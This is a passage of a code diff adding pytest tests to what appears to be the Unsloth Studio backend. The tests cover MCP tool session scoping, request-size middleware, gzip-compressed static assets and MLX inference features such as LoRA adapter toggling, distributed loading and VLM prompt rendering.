+    def fake_call_tool_sync(**kwargs):
+        scopes.append(kwargs["scope"])
+        return "ok"
+
+    monkeypatch.setattr(tools_mod, "call_tool_sync", fake_call_tool_sync)
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-a")
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-b")
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "sess-only")
+    tools_mod.execute_tool("mcp__s1__t", {}, thread_id = "thread-a")
+    # Persist only with a thread_id; session_id alone stays one-shot (None) so a
+    # project-wide id can't leak state across conversations. Fields are tagged.
+    assert scopes == ["s=project-p1:t=thread-a", "s=project-p1:t=thread-b", None, "s=:t=thread-a"]
+    # IDs containing ":" must not collapse distinct conversations into one scope,
+    # and a session-only id must never collide with a thread-only id.
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "a:b", thread_id = "c")
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "a", thread_id = "b:c")
+    assert scopes[-2] != scopes[-1]
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "same")
+    tools_mod.execute_tool("mcp__s1__t", {}, thread_id = "same")
+    assert scopes[-2] != scopes[-1]  # session-only "same" != thread-only "same"
+
+
+def test_execute_tool_config_check_tracks_row(tmp_path, monkeypatch):
+    from core.inference import tools as tools_mod
+    from storage import mcp_servers_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(mcp_servers_db, "_schema_ready", False)
+    monkeypatch.setattr(tools_mod, "stdio_mcp_enabled", lambda: True)
+    mcp_servers_db.create_server(id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True)
+
+    captured: dict = {}
+    monkeypatch.setattr(tools_mod, "call_tool_sync", lambda **kw: captured.update(kw) or "ok")
+    tools_mod.execute_tool("mcp__s1__t", {})
+    check = captured["config_check"]
+    assert check() is True
+    mcp_servers_db.update_server("s1", {"url": "npx different-server"})
+    assert check() is False
+
+
+def test_multi_block_result_flattens_through_session(fake_clients):
+    async def _rich_call(name, args):
+        return SimpleNamespace(
+            content = [
+                SimpleNamespace(type = "text", text = "### Page"),
+                SimpleNamespace(type = "text", text = "- Page URL: https://example.com/"),
+            ],
+            is_error = False,
+            structured_content = None,
+        )
+
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    fake_clients[0].call_tool = _rich_call
+    out = call_tool_sync(STDIO_URL, None, "browser_snapshot", {}, scope = "chat")
+    assert out == "### Page\n- Page URL: https://example.com/"
+
+
+def test_stdio_cache_trims_overshoot_after_burst(fake_clients, monkeypatch):
+    # A concurrent burst of distinct-scope calls can overshoot the cap while every
+    # session is busy (insert-time eviction only reclaims idle sessions). Once the
+    # calls finish, release-time trimming must bring the cache back within cap.
+    monkeypatch.setattr(mcp_client, "_STDIO_MAX_SESSIONS", 2)
+
+    def slow_client(
+        url,
+        headers,
+        use_oauth = False,
+    ):
+        client = FakeClient(url)
+        client.call_delay = 0.5  # keep every session in-flight during the burst
+        return client
+
+    monkeypatch.setattr(mcp_client, "_client", slow_client)
+    errors: list = []
+
+    def worker(i: int):
+        try:
+            call_tool_sync(STDIO_URL, None, "t", {}, scope = f"chat-{i}")
+        except Exception as exc:  # noqa: BLE001
+            errors.append(exc)
+
+    threads = [threading.Thread(target = worker, args = (i,)) for i in range(5)]
+    for thread in threads:
+        thread.start()
+    for thread in threads:
+        thread.join(10.0)
+    assert not errors, errors
+    assert len(mcp_client._stdio_sessions) <= 2
+
+
+def test_close_http_server_creates_no_stdio_tombstone(fake_clients):
+    # HTTP/SSE servers are never cached as stdio sessions, so closing one on
+    # update/delete must not accrue a close-generation entry (an unbounded leak).
+    before_cfg = len(mcp_client._stdio_cfg_close_gen)
+    before_url = len(mcp_client._stdio_url_close_gen)
+    for i in range(50):
+        close_stdio_sessions(f"https://mcp-{i}.example/mcp", {"K": str(i)})
+        close_stdio_sessions(f"https://mcp-{i}.example/mcp")
+    assert len(mcp_client._stdio_cfg_close_gen) == before_cfg
+    assert len(mcp_client._stdio_url_close_gen) == before_url
+    # a real stdio command still registers a generation (the guard is non-stdio only)
+    close_stdio_sessions(STDIO_URL, {"K": "v"})
+    assert len(mcp_client._stdio_cfg_close_gen) == before_cfg + 1
diff --git a/studio/backend/tests/test_middleware.py b/studio/backend/tests/test_middleware.py
index 11aeee6d77..36061b5375 100644
--- a/studio/backend/tests/test_middleware.py
+++ b/studio/backend/tests/test_middleware.py
@@ -14,6 +14,7 @@ import pytest
 from fastapi import FastAPI, HTTPException, Request
 from fastapi.responses import Response
 from fastapi.testclient import TestClient
+from starlette.middleware.gzip import GZipMiddleware
 
 
 _BACKEND_ROOT = Path(__file__).resolve().parents[1]
@@ -33,6 +34,7 @@ def main_module():
 def _make_protected_app(
     max_bytes: int,
     main_module,
+    request_max_bytes_getter = None,
     upload_passthrough_prefixes: tuple = (),
     upload_passthrough_max_bytes_getter = None,
 ):
@@ -40,7 +42,13 @@ def _make_protected_app(
     app.add_middleware(
         main_module.MaxBodyMiddleware,
         max_bytes_getter = lambda: max_bytes,
-        protected_prefixes = ("/v1/chat/completions", "/api/settings", "/api/train"),
+        protected_prefixes = (
+            "/v1/chat/completions",
+            "/api/inference",
+            "/api/settings",
+            "/api/train",
+        ),
+        request_max_bytes_getter = request_max_bytes_getter,
         upload_passthrough_prefixes = upload_passthrough_prefixes,
         upload_passthrough_max_bytes_getter = upload_passthrough_max_bytes_getter,
     )
@@ -67,6 +75,10 @@ def _make_protected_app(
                 total += len(chunk)
         return {"ok": True, "chunks": chunks, "total": total}
 
+    @app.post("/api/inference/audio/transcribe/raw")
+    async def transcribe_raw(request: Request):
+        return {"ok": True, "total": len(await request.body())}
+
     @app.get("/api/train/status")
     async def status_get():
         return {"ok": True, "get": True}
@@ -96,6 +108,43 @@ class TestMaxBodyMiddleware:
         assert r.status_code == 200
         assert r.json()["unprotected"] is True
 
+    def test_route_specific_cap_overrides_default(self, main_module):
+        app = _make_protected_app(
+            4096,
+            main_module,
+            request_max_bytes_getter = lambda path: (
+                128 if path.endswith("/transcribe/raw") else 4096
+            ),
+        )
+        c = TestClient(app)
+
+        rejected = c.post(
+            "/api/inference/audio/transcribe/raw",
+            content = b"x" * 129,
+        )
+        accepted = c.post(
+            "/api/inference/audio/transcribe/raw",
+            content = b"x" * 128,
+        )
+
+        assert rejected.status_code == 413
+        assert accepted.status_code == 200
+        assert accepted.json()["total"] == 128
+
+    def test_stt_routes_use_audio_specific_caps(self, main_module):
+        from utils.upload_limits import (
+            STT_AUDIO_JSON_MAX_BYTES,
+            STT_AUDIO_RAW_MAX_BYTES,
+        )
+        assert (
+            main_module._get_request_body_max_bytes("/api/inference/audio/transcribe/raw")
+            == STT_AUDIO_RAW_MAX_BYTES
+        )
+        assert (
+            main_module._get_request_body_max_bytes("/api/inference/audio/transcribe")
+            == STT_AUDIO_JSON_MAX_BYTES
+        )
+
     def test_settings_put_body_over_cap_rejected(self, main_module):
         app = _make_protected_app(1024, main_module)
         c = TestClient(app)
@@ -471,6 +520,71 @@ class TestSecurityHeadersMiddleware:
         assert b"server" in names
 
 
+class TestFrontendAssets:
+    def test_hashed_assets_are_compressed_and_cached(self, tmp_path, main_module):
+        content = b"export const value = 'responsive';\n" * 200
+        (tmp_path / "page-abc123.js").write_bytes(content)
+        app = FastAPI()
+        assets_app = GZipMiddleware(
+            main_module.ImmutableStaticFiles(directory = tmp_path),
+            minimum_size = 1024,
+            compresslevel = 6,
+        )
+        app.mount("/assets", assets_app, name = "assets")
+
+        response = TestClient(app).get(
+            "/assets/page-abc123.js",
+            headers = {"Accept-Encoding": "gzip"},
+        )
+
+        assert response.status_code == 200
+        assert response.content == content
+        assert response.headers["content-encoding"] == "gzip"
+        assert response.headers["cache-control"] == (main_module._IMMUTABLE_ASSET_CACHE_CONTROL)
+        assert "accept-encoding" in response.headers["vary"].lower()
+
+    def test_asset_revalidation_keeps_immutable_cache_header(self, tmp_path, main_module):
+        (tmp_path / "page-abc123.js").write_text("export {};", encoding = "utf-8")
+        app = FastAPI()
+        app.mount(
+            "/assets",
+            main_module.ImmutableStaticFiles(directory = tmp_path),
+            name = "assets",
+        )
+        client = TestClient(app)
+        first = client.get("/assets/page-abc123.js")
+
+        response = client.get(
+            "/assets/page-abc123.js",
+            headers = {"If-None-Match": first.headers["etag"]},
+        )
+
+        assert response.status_code == 304
+        assert response.headers["cache-control"] == (main_module._IMMUTABLE_ASSET_CACHE_CONTROL)
+
+    def test_range_request_is_not_compressed(self, tmp_path, main_module):
+        content = b"export const value = 'responsive';\n" * 200
+        (tmp_path / "page-abc123.js").write_bytes(content)
+        app = FastAPI()
+        assets_app = main_module._AssetGZipMiddleware(
+            main_module.ImmutableStaticFiles(directory = tmp_path),
+            minimum_size = 1024,
+            compresslevel = 6,
+        )
+        app.mount("/assets", assets_app, name = "assets")
+
+        response = TestClient(app).get(
+            "/assets/page-abc123.js",
+            headers = {"Accept-Encoding": "gzip", "Range": "bytes=0-99"},
+        )
+
+        assert response.status_code == 206
+        assert response.headers.get("content-encoding") != "gzip"
+        assert response.headers["content-range"] == f"bytes 0-99/{len(content)}"
+        assert response.content == content[:100]
+        assert response.headers["cache-control"] == (main_module._IMMUTABLE_ASSET_CACHE_CONTROL)
+
+
 # /api/health auth gate
 
 
diff --git a/studio/backend/tests/test_mlx_inference_backend.py b/studio/backend/tests/test_mlx_inference_backend.py
index 9871965ce8..d49a2281a0 100644
--- a/studio/backend/tests/test_mlx_inference_backend.py
+++ b/studio/backend/tests/test_mlx_inference_backend.py
@@ -2,8 +2,11 @@
 
 import sys
 import types
+from contextlib import contextmanager
 from types import SimpleNamespace
 
+import pytest
+
 
 class _DummyMetal:
     @staticmethod
@@ -38,12 +41,16 @@ class _DummyModel:
 def _install_fake_mlx(monkeypatch):
     mlx_pkg = types.ModuleType("mlx")
     mlx_core = types.ModuleType("mlx.core")
+    mlx_utils = types.ModuleType("mlx.utils")
     mlx_core.metal = _DummyMetal()
     mlx_core.set_wired_limit = _DummyMX.set_wired_limit
     mlx_core.device_info = _DummyMX.device_info
+    mlx_utils.tree_unflatten = dict
     mlx_pkg.core = mlx_core
+    mlx_pkg.utils = mlx_utils
     monkeypatch.setitem(sys.modules, "mlx", mlx_pkg)
     monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+    monkeypatch.setitem(sys.modules, "mlx.utils", mlx_utils)
 
 
 def _install_fake_fast_mlx(monkeypatch, calls):
@@ -66,6 +73,99 @@ def _install_fake_fast_mlx(monkeypatch, calls):
     monkeypatch.setitem(sys.modules, "unsloth_zoo.mlx.loader", mlx_loader)
 
 
+class _AdapterTree:
+    def __init__(self, modules):
+        self.modules = dict(modules)
+
+    def named_modules(self):
+        return list(self.modules.items())
+
+    def update_modules(self, modules):
+        self.modules.update(modules)
+
+
+def test_temporary_mlx_adapter_state_bypasses_and_restores_wrappers(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import _temporary_mlx_adapter_state
+
+    base = object()
+    wrapper = SimpleNamespace(lora_a = object(), lora_b = object(), linear = base, m = object())
+    model = _AdapterTree({"model.layers.0.proj": wrapper})
+
+    with pytest.raises(RuntimeError, match = "generation failed"):
+        with _temporary_mlx_adapter_state(model, False):
+            assert model.modules["model.layers.0.proj"] is base
+            raise RuntimeError("generation failed")
+    assert model.modules["model.layers.0.proj"] is wrapper
+
+
+def test_temporary_mlx_adapter_state_validates_requests():
+    from core.inference.mlx_inference import _temporary_mlx_adapter_state
+
+    wrapper = SimpleNamespace(lora_a = object(), lora_b = object(), embedding = object())
+    model = _AdapterTree({"embed_tokens": wrapper})
+    with _temporary_mlx_adapter_state(model, True):
+        assert model.modules["embed_tokens"] is wrapper
+    with pytest.raises(NotImplementedError, match = "named adapter"):
+        with _temporary_mlx_adapter_state(model, "other"):
+            pass
+
+    base_model = _AdapterTree({"proj": object()})
+    with _temporary_mlx_adapter_state(base_model, None):
+        pass
+    with _temporary_mlx_adapter_state(base_model, True):
+        pass
+
+    unsupported = _AdapterTree({"proj": SimpleNamespace(lora_a = object(), lora_b = object())})
+    with _temporary_mlx_adapter_state(unsupported, True):
+        pass
+    with pytest.raises(RuntimeError, match = "without their base modules"):
+        with _temporary_mlx_adapter_state(unsupported, False):
+            pass
+
+
+def test_temporary_mlx_adapter_state_uses_real_mlx_module_tree():
+    nn = pytest.importorskip("mlx.nn")
+    pytest.importorskip("mlx_lm")
+    from mlx_lm.models.switch_layers import SwitchLinear
+    from mlx_lm.tuner.dora import DoRALinear
+    from mlx_lm.tuner.lora import LoRAEmbedding, LoRALinear, LoRASwitchLinear
+
+    from core.inference.mlx_inference import _temporary_mlx_adapter_state
+
+    class _Layer(nn.Module):
+        def __init__(self):
+            super().__init__()
+            quantized = nn.QuantizedLinear.from_linear(nn.Linear(32, 32), group_size = 32, bits = 4)
+            self.quantized_proj = LoRALinear.from_base(quantized)
+            self.dora_proj = DoRALinear.from_base(nn.Linear(4, 4))
+
+    class _Model(nn.Module):
+        def __init__(self):
+            super().__init__()
+            self.layers = [_Layer()]
+            self.embed_tokens = LoRAEmbedding.from_base(nn.Embedding(16, 4))
+            self.experts = LoRASwitchLinear.from_base(SwitchLinear(4, 4, 2))
+
+    model = _Model()
+    wrappers = {
+        path: module
+        for path, module in model.named_modules()
+        if hasattr(module, "lora_a") and hasattr(module, "lora_b")
+    }
+    bases = {
+        path: getattr(module, "linear", getattr(module, "embedding", None))
+        for path, module in wrappers.items()
+    }
+
+    with _temporary_mlx_adapter_state(model, False):
+        live = dict(model.named_modules())
+        assert all(live[path] is base for path, base in bases.items())
+
+    restored = dict(model.named_modules())
+    assert all(restored[path] is wrapper for path, wrapper in wrappers.items())
+
+
 def test_mlx_inference_text_load_forwards_studio_settings(monkeypatch):
     _install_fake_mlx(monkeypatch)
     calls = []
@@ -100,6 +200,32 @@ def test_mlx_inference_text_load_forwards_studio_settings(monkeypatch):
     ]
     assert backend._is_vlm is False
     assert isinstance(backend._tokenizer, _DummyTokenizer)
+    # Non-LoRA text model: no base_model on the record.
+    assert backend.models["fake/text"]["base_model"] is None
+
+
+def test_mlx_text_lora_record_keeps_base_model_for_native_template(monkeypatch):
+    # A LoRA adapter's own tokenizer often ships no chat template; the native tool-calling template
+    # lives on the base model.
+    _install_fake_mlx(monkeypatch)
+    calls = []
+    _install_fake_fast_mlx(monkeypatch, calls)
+
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    backend = MLXInferenceBackend()
+    config = SimpleNamespace(
+        identifier = "fake/text-adapter",
+        is_vision = False,
+        is_lora = True,
+        base_model = "fake/text-base",
+    )
+
+    assert backend.load_model(config, max_seq_length = 4096, hf_token = "hf-token")
+
+    record = backend.models["fake/text-adapter"]
+    assert record["is_lora"] is True
+    assert record["base_model"] == "fake/text-base"
 
 
 def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewrite(
@@ -110,7 +236,7 @@ def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewri
     _install_fake_fast_mlx(monkeypatch, calls)
 
     def _native_vlm_load(*_args, **_kwargs):
-        raise AssertionError("Studio MLX VLM inference must use FastMLXModel")
+        raise AssertionError("Unsloth MLX VLM inference must use FastMLXModel")
 
     mlx_vlm = types.ModuleType("mlx_vlm")
     mlx_vlm.load = _native_vlm_load
@@ -159,6 +285,129 @@ def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewri
     assert isinstance(backend._tokenizer, _DummyTokenizer)
 
 
+def test_mlx_inference_distributed_vlm_forwards_group_to_fast_mlx(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    calls = []
+    _install_fake_fast_mlx(monkeypatch, calls)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    group = SimpleNamespace(size = lambda: 2, rank = lambda: 0)
+    config = SimpleNamespace(identifier = "fake/vlm", is_vision = True, is_lora = False)
+    for mode, group_key in (("tensor", "tensor_group"), ("pipeline", "pipeline_group")):
+        calls.clear()
+        assert MLXInferenceBackend().load_model(config, parallel_mode = mode, distributed_group = group)
+        _, kwargs = calls.pop()
+        assert kwargs["text_only"] is False and kwargs[group_key] is group
+
+    calls.clear()
+    singleton = SimpleNamespace(size = lambda: 1, rank = lambda: 0)
+    assert MLXInferenceBackend().load_model(
+        config, parallel_mode = "tensor", distributed_group = singleton
+    )
+    assert not {"tensor_group", "pipeline_group"} & set(calls.pop()[1])
+
+    config = SimpleNamespace(identifier = "fake/adapter", is_vision = False, is_lora = True)
+    with pytest.raises(ValueError, match = "LoRA adapter repos"):
+        MLXInferenceBackend().load_model(config, parallel_mode = "tensor", distributed_group = group)
+
+
+@pytest.mark.parametrize("accepts_backend", (True, False))
+def test_mlx_distributed_init_selects_jaccl_backend(monkeypatch, accepts_backend):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import _init_mlx_distributed
+
+    group = SimpleNamespace(rank = lambda: 1, size = lambda: 2)
+    calls = []
+
+    def _init(**kwargs):
+        calls.append(kwargs)
+        if kwargs and not accepts_backend:
+            raise TypeError("backend keyword unsupported")
+        return group
+
+    sys.modules["mlx.core"].distributed = SimpleNamespace(init = _init)
+    monkeypatch.setenv("MLX_JACCL_COORDINATOR", "127.0.0.1:12345")
+    monkeypatch.setenv("MLX_IBV_DEVICES", "/tmp/devices.json")
+
+    assert _init_mlx_distributed() == (group, 1, 2)
+    assert calls == ([{"backend": "jaccl"}] if accepts_backend else [{"backend": "jaccl"}, {}])
+
+
+def test_worker_share_object_receives_distributed_payload(monkeypatch):
+    from core.inference import worker
+
+    shared_obj = {"type": "turn", "text": "hi"}
+    payload = worker._encode_share_object(shared_obj)
+
+    def _array(value):
+        val = value.item() if hasattr(value, "item") else value
+        return SimpleNamespace(
+            item = lambda: val,
+            tolist = lambda: list(val) if hasattr(val, "__iter__") else [val],
+        )
+
+    mlx_pkg = types.ModuleType("mlx")
+    mlx_core = types.ModuleType("mlx.core")
+    mlx_core.uint8 = "uint8"
+    mlx_core.array = _array
+    mlx_core.zeros = lambda *_a, **_k: _array([])
+
+    def _all_sum(value, group = None):
+        value = value.item() if hasattr(value, "item") else value
+        return _array(len(payload)) if value == 0 else _array(payload)
+
+    mlx_core.distributed = SimpleNamespace(all_sum = _all_sum)
+    mlx_pkg.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx_pkg)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+
+    responses = []
+    worker._handle_share_object(
+        SimpleNamespace(
+            _distributed_group = object(),
+            _distributed_rank = 1,
+            _distributed_world_size = 2,
+        ),
+        {"type": "share_object", "request_id": "rid", "object": None},
+        SimpleNamespace(put = responses.append),
+    )
+
+    response = responses[0]
+    assert response["object"] == shared_obj
+
+
+def test_worker_share_object_oversize_notifies_peers(monkeypatch):
+    from core.inference import worker
+
+    calls = []
+
+    mlx_pkg = types.ModuleType("mlx")
+    mlx_core = types.ModuleType("mlx.core")
+    mlx_core.array = lambda value, **_kwargs: SimpleNamespace(item = lambda: value)
+    mlx_core.eval = lambda value: value
+    mlx_core.distributed = SimpleNamespace(
+        all_sum = lambda value, group = None: calls.append(value.item()) or value
+    )
+    mlx_pkg.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx_pkg)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+    monkeypatch.setattr(worker, "_SHARE_OBJECT_MAX_BYTES", 8)
+
+    responses = []
+    worker._handle_share_object(
+        SimpleNamespace(
+            _distributed_group = object(),
+            _distributed_rank = 0,
+            _distributed_world_size = 2,
+        ),
+        {"type": "share_object", "request_id": "rid", "object": {"text": "too long"}},
+        SimpleNamespace(put = responses.append),
+    )
+
+    assert calls == [worker._SHARE_OBJECT_ERROR_SIZE]
+    assert responses[0]["type"] == "share_error"
+
+
 # Regression: generate_chat_response must accept the four template kwargs
 # (tools / enable_thinking / reasoning_effort / preserve_thinking) so the route
 # layer can forward UI toggles. The old signature raised
@@ -182,18 +431,217 @@ def test_mlx_generate_chat_response_accepts_template_kwargs():
         ), f"{name!r} must default to None so existing callers stay valid"
 
 
+def test_mlx_vlm_reemits_think_prefill_inside_adapter_context(monkeypatch):
+    """A prefilled <think> block must be re-emitted as the first VLM snapshot,
+    inside the adapter context (so unsupported requests still raise first), so
+    the UI renders the thinking block during prefill and a pre-first-token
+    cancel does not drop it. Mirrors _generate_text."""
+    from core.inference import mlx_inference
+
+    MLXInferenceBackend = mlx_inference.MLXInferenceBackend
+
+    order = []
+
+    @contextmanager
+    def _adapter_state(_model, state):
+        assert backend._generation_lock.locked()
+        order.append("adapter_enter")
+        try:
+            yield
+        finally:
+            order.append("adapter_exit")
+
+    monkeypatch.setattr(mlx_inference, "_temporary_mlx_adapter_state", _adapter_state)
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.detect_think_prefill",
+        lambda *_a, **_k: "<think>\n",
+    )
+
+    prompt_utils = SimpleNamespace(
+        MODEL_CONFIG = {"deepseek_vl_v2": object()},
+        apply_chat_template = lambda *_a, **_k: "<image> model-aware",
+    )
+    mlx_vlm = types.ModuleType("mlx_vlm")
+    mlx_vlm.prompt_utils = prompt_utils
+
+    def _vlm_stream(*_a, **_k):
+        # The prefill must have been emitted before any generated token.
+        assert order[-1] == "adapter_enter"
+        yield SimpleNamespace(text = "ok", prompt_tokens = 3, generation_tokens = 1)
+
+    mlx_vlm.stream_generate = _vlm_stream
+    monkeypatch.setitem(sys.modules, "mlx_vlm", mlx_vlm)
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda _t, _m, **_k: "<image> model-aware",
+    )
+
+    backend = MLXInferenceBackend()
+    backend._model = SimpleNamespace(config = {"model_type": "deepseek_vl_v2"})
+    backend._processor = SimpleNamespace(tokenizer = SimpleNamespace())
+    args = ([{"role": "user", "content": [{"type": "image"}]}], object(), 0, 1, 0, 0, 1, 1, None)
+
+    gen = backend._generate_vlm(*args, _adapter_state = False)
+    # First snapshot is the prefill alone, emitted after entering the adapter context.
+    assert next(gen) == "<think>\n"
+    assert order == ["adapter_enter"]
+    # Subsequent snapshots are cumulative (prefill + generated text).
+    assert next(gen) == "<think>\nok"
+    gen.close()
+    assert order == ["adapter_enter", "adapter_exit"]
+
+
+def test_mlx_vlm_generation_selects_renderer_by_capability(monkeypatch):
+    from core.inference import mlx_inference
+
+    MLXInferenceBackend = mlx_inference.MLXInferenceBackend
+
+    calls = {"generic": [], "model": [], "stream": []}
+    adapter_events = []
+    adapter_active = {"value": False}
+
+    @contextmanager
+    def _adapter_state(_model, state):
+        assert backend._generation_lock.locked()
+        adapter_events.append(("enter", state))
+        adapter_active["value"] = True
+        try:
+            yield
+        finally:
+            adapter_active["value"] = False
+            adapter_events.append(("exit", state))
+
+    monkeypatch.setattr(mlx_inference, "_temporary_mlx_adapter_state", _adapter_state)
+    state = {"generic": "serialized", "model": "<image> model-aware"}
+    prompt_utils = SimpleNamespace(
+        MODEL_CONFIG = {"deepseek_vl_v2": object()},
+        apply_chat_template = lambda *_args, **kwargs: (
+            calls["model"].append(kwargs) or state["model"]
+        ),
+    )
+    mlx_vlm = types.ModuleType("mlx_vlm")
+    mlx_vlm.prompt_utils = prompt_utils
+
+    def _vlm_stream(*args, **kwargs):
+        assert adapter_active["value"]
+        calls["stream"].append((args, kwargs))
+        yield SimpleNamespace(text = "ok", prompt_tokens = 3, generation_tokens = 1)
+
+    mlx_vlm.stream_generate = _vlm_stream
+    monkeypatch.setitem(sys.modules, "mlx_vlm", mlx_vlm)
+
+    def generic(_target, _messages, **kwargs):
+        calls["generic"].append(kwargs)
+        if isinstance(state["generic"], Exception):
+            raise state["generic"]
+        if state["generic"] == "serialized":
+            return f"User: {_messages[0]['content']}"
+        return state["generic"]
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        generic,
+    )
+    backend = MLXInferenceBackend()
+    backend._model = SimpleNamespace(config = {"model_type": "deepseek_vl_v2"})
+    backend._processor = SimpleNamespace(tokenizer = SimpleNamespace())
+    args = ([{"role": "user", "content": [{"type": "image"}]}], object(), 0, 1, 0, 0, 1, 1, None)
+    tools = [{"function": {"name": "search"}}]
+    generator = backend._generate_vlm(*args, _adapter_state = False)
+    assert next(generator) == "ok"
+    assert adapter_active["value"] and backend._generation_lock.locked()
+    generator.close()
+    assert adapter_events == [("enter", False), ("exit", False)]
+    assert calls["model"][0]["num_images"] == 1
+    assert calls["stream"][0][0][2] == "<image> model-aware"
+    with pytest.raises(RuntimeError, match = "dropping requested tools"):
+        list(backend._generate_vlm(*args, tools = tools))
+    with pytest.raises(RuntimeError, match = "dropping requested tools or reasoning"):
+        list(backend._generate_vlm(*args, enable_thinking = False))
+    backend._processor = SimpleNamespace(chat_template = "template")
+    state["generic"] = "<image> healthy generic"
+    assert list(backend._generate_vlm(*args, tools = tools, enable_thinking = False)) == ["ok"]
+    assert calls["generic"][-1]["enable_thinking"] is False
+    assert calls["stream"][-1][0][2] == "<image> healthy generic"
+    state["generic"] = "generic prompt"
+    text_messages = [{"role": "user", "content": "hello"}]
+    assert list(backend._generate_vlm(*((text_messages, None) + args[2:]), tools = tools)) == ["ok"]
+    assert calls["generic"][-1]["tools"] == tools
+    assert calls["stream"][-1][0][2] == "generic prompt"
+    two_images = [{"role": "user", "content": [{"type": "image"}, {"type": "image"}]}]
+    with pytest.raises(RuntimeError, match = "2 structured image item"):
+        list(backend._generate_vlm(*((two_images,) + args[1:]), tools = tools))
+    state["generic"] = "serialized"
+    tool_history = args[0] + [{"role": "assistant", "tool_calls": [{"id": "call-1"}]}]
+    with pytest.raises(RuntimeError, match = "tool-call history"):
+        list(backend._generate_vlm(*((tool_history,) + args[1:]), tools = tools))
+    state["generic"] = ValueError("generic rendering failed")
+    state["model"] = f"User: {args[0][0]['content']}"
+    with pytest.raises(ValueError, match = "generic rendering failed"):
+        list(backend._generate_vlm(*args))
+
+
+def test_mlx_vlm_image_injection_reuses_media_aliases(monkeypatch):
+    from core.inference.mlx_inference import MLXInferenceBackend, _prompt_serializes_vlm_media
+
+    media = [{"type": "image"}]
+    quoted = [{"role": "user", "content": media}, {"role": "user", "content": f"Explain {media}"}]
+    assert _prompt_serializes_vlm_media(f"<image>\n{media[0]}", quoted[:1])
+    assert not _prompt_serializes_vlm_media(f"<image>\nExplain {media}", quoted)
+    assert _prompt_serializes_vlm_media(f"User: {media}\nExplain {media}", quoted)
+    quoted[1]["content"] = [{"type": "text", "text": f'Explain "this" {media}'}]
+    assert not _prompt_serializes_vlm_media(f'<image>\nExplain "this" {media}', quoted)
+    json_media = [{"type": "image_url"}]
+    json_repr = '{"type": "image_url"}'
+    assert _prompt_serializes_vlm_media(f"<image>\n{json_repr}", [{"content": json_media}])
+    assert not _prompt_serializes_vlm_media(
+        f"<image>\nExplain {json_repr}",
+        [{"content": json_media}, {"content": f"Explain {json_repr}"}],
+    )
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._is_vlm = True
+    captured = []
+    backend._generate_vlm = lambda messages, *_args, **_kwargs: (
+        captured.append(messages) or iter(())
+    )
+    messages = [{"role": "user", "content": [{"type": "image_url"}]}]
+    list(backend.generate_chat_response(messages, image = object()))
+    assert captured[0][0]["content"] == [{"type": "image_url"}]
+
+
+def test_mlx_vlm_model_config_prefers_config_with_model_type():
+    from core.inference.mlx_inference import _mlx_vlm_model_config
+
+    # config present but missing model_type must fall back to _config
+    m = SimpleNamespace(config = {}, _config = {"model_type": "deepseek_vl_v2"})
+    assert _mlx_vlm_model_config(m) == ({"model_type": "deepseek_vl_v2"}, "deepseek_vl_v2")
+    # an object config whose model_type is None also falls back
+    m = SimpleNamespace(config = SimpleNamespace(model_type = None), _config = {"model_type": "qwen2_vl"})
+    assert _mlx_vlm_model_config(m)[1] == "qwen2_vl"
+    # a config that already carries a model_type is preferred and returned unchanged
+    assert _mlx_vlm_model_config(SimpleNamespace(config = {"model_type": "gemma3"})) == (
+        {"model_type": "gemma3"},
+        "gemma3",
+    )
+
+
 def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
     """Mac text path must route through apply_chat_template_for_generation so
     reasoning / tool kwargs reach the tokenizer."""
     _install_fake_mlx(monkeypatch)
-    from core.inference.mlx_inference import MLXInferenceBackend
+    from core.inference import mlx_inference
 
-    captured = {}
+    MLXInferenceBackend = mlx_inference.MLXInferenceBackend
+    real_adapter_state = mlx_inference._temporary_mlx_adapter_state
+
+    # The text path renders once with tools, then the native-template fallback makes a second no-
+    # tools probe call (tools=None) to detect whether the template dropped the schema.
+    captured_calls = []
 
     def _fake_apply(tokenizer, messages, **kwargs):
-        captured["tokenizer"] = tokenizer
-        captured["messages"] = messages
-        captured["kwargs"] = kwargs
+        captured_calls.append({"tokenizer": tokenizer, "messages": messages, "kwargs": kwargs})
         return "<rendered prompt>"
 
     monkeypatch.setattr(
@@ -211,11 +659,31 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
     mlx_lm_sample.make_sampler = lambda **_kw: object()
     mlx_lm_sample.make_logits_processors = lambda **_kw: None
 
+    adapter_events = []
+    adapter_active = {"value": False}
+    stream_state = {"fail": False}
+
+    @contextmanager
+    def _adapter_state(_model, state):
+        assert backend._generation_lock.locked()
+        adapter_events.append(("enter", state))
+        adapter_active["value"] = True
+        try:
+            yield
+        finally:
+            adapter_active["value"] = False
+            adapter_events.append(("exit", state))
+
+    monkeypatch.setattr(mlx_inference, "_temporary_mlx_adapter_state", _adapter_state)
+
     class _Resp:
         def __init__(self, tok):
             self.token = tok
 
